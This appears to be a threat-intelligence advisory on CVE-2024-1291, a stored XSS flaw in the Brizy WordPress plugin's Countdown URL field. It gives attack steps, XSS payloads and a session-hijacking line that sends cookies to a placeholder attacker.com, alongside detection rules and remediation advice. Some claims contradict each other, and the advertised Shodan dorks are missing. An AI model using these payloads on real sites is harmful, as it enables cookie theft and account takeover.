CVE-2024-1291
Executive Summary
CVE-2024-1291 is a Stored Cross-Site Scripting (XSS) vulnerability in the Brizy – Page Builder WordPress plugin, affecting all versions up to and including 2.4.40. The flaw resides in the Countdown URL parameter, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user visits a page containing the malicious payload, the script executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly. The CVSS score of 6.4 (Medium) reflects the need for authentication but also the potential for widespread impact due to the stored nature of the attack. No public exploit code or Nuclei template is available, but the attack vector is well-understood and can be weaponized with minimal effort.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed Brizy from the repository are at risk. No NPM, PyPI, Go, or Ruby packages are involved.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – Attacker needs contributor-level access or higher.
- User Interaction: None (UI:N) – The victim does not need to perform any action beyond visiting the page.
- Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality Impact: Low (C:L) – Limited information disclosure possible.
- Integrity Impact: Low (I:L) – Limited modification of content possible.
- Availability Impact: None (A:N) – No direct denial of service.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS can affect all users visiting the compromised page, including administrators.
Deep Dive & Mechanics
The vulnerability exists in the Brizy page builder’s Countdown widget. When a user with contributor-level or higher privileges creates or edits a page using the Countdown element, the plugin fails to properly sanitize the URL parameter before storing it in the database. Additionally, when the page is rendered, the plugin does not escape the output, allowing arbitrary HTML and JavaScript to be injected.
Attack Flow:
- An authenticated attacker with contributor access logs into WordPress.
- The attacker creates a new page or edits an existing one using the Brizy editor.
- The attacker adds a Countdown widget and sets the URL parameter to a malicious payload, e.g.,
javascript:alert(document.cookie)or a crafted<img>tag with anonerrorevent. - The payload is stored in the WordPress database without proper sanitization.
- When any user (including administrators or visitors) views the page, the payload executes in their browser.
Root Cause: The plugin uses esc_attr() or similar functions inconsistently, or fails to apply wp_kses() or htmlspecialchars() to the Countdown URL parameter. The stored data is later echoed directly into the HTML without escaping.
Vulnerable vs. Patched Code
Vulnerable Code (Brizy <= 2.4.40):
// In the Countdown widget render function
$url = $this->getUrl(); // No sanitization
echo '<a href="' . $url . '">Countdown</a>'; // No escaping
Patched Code (Hypothetical fix):
// Properly sanitize and escape the URL
$url = esc_url_raw($this->getUrl()); // Sanitize URL
echo '<a href="' . esc_attr($url) . '">Countdown</a>'; // Escape output
The fix should use esc_url_raw() for storage and esc_attr() for output, or apply wp_kses() to allow only safe HTML.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Brizy plugin <= 2.4.40.
- Attacker account with contributor-level or higher privileges.
Exploitation Steps:
- Log in to WordPress as a contributor.
- Navigate to Pages > Add New.
- Use the Brizy editor to add a Countdown widget.
- In the Countdown URL field, enter a malicious payload, e.g.:
Or a more sophisticated payload:javascript:alert('XSS')" onmouseover="alert(1) - Publish the page.
- When an administrator or visitor views the page, the script executes.
Example Payload for Session Hijacking:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress logs for unusual page edits by contributors.
- Use Web Application Firewall (WAF) rules to block
javascript:URIs in URL parameters. - Scan the database for suspicious entries in the
wp_postmetatable related to Brizy.
Hardening:
- Restrict contributor-level access to trusted users only.
- Apply a virtual patch by adding a WAF rule to sanitize the Countdown URL parameter.
- Monitor for updates from the Brizy vendor and apply patches immediately.
Indicators of Compromise (IOCs)
File Indicators:
- Modified page content containing
javascript:URIs or event handlers in the Countdown URL. - Suspicious entries in
wp_postmetawithmeta_keycontainingbrizyandmeta_valuecontaining script tags.
- Modified page content containing
Network Indicators:
- Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Requests containing
javascript:ordata:URIs in the Referer header.
Log Indicators:
- WordPress audit logs showing page edits by contributors with unusual URL parameters.
- Web server logs with
200responses to pages containing the malicious payload.
Detection Engineering
YARA Rule
rule CVE_2024_1291_Brizy_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Brizy Countdown URL parameter"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-1291"
strings:
$payload1 = /href=["']javascript:/i
$payload2 = /on\w+=["']/i
$payload3 = /<script[^>]*>/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-1291 Brizy Stored XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit stored XSS in Brizy Countdown URL parameter
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- "javascript:"
- "onerror="
- "onload="
condition: selection
falsepositives:
- Legitimate use of javascript: URIs (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1291 Brizy Stored XSS Attempt"; flow:to_server,established; content:"javascript:"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Brizy plugin until a patch is available.
- Restrict contributor-level access to only trusted users.
- Apply a virtual patch using a WAF to block malicious URL parameters.
Long-term Fix:
- The vendor must release a patched version that properly sanitizes and escapes the Countdown URL parameter. Users should update to the latest version as soon as it is available.
Workaround:
- Use a security plugin like Wordfence to add firewall rules that block common XSS payloads in URL parameters.
Valters IT – DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.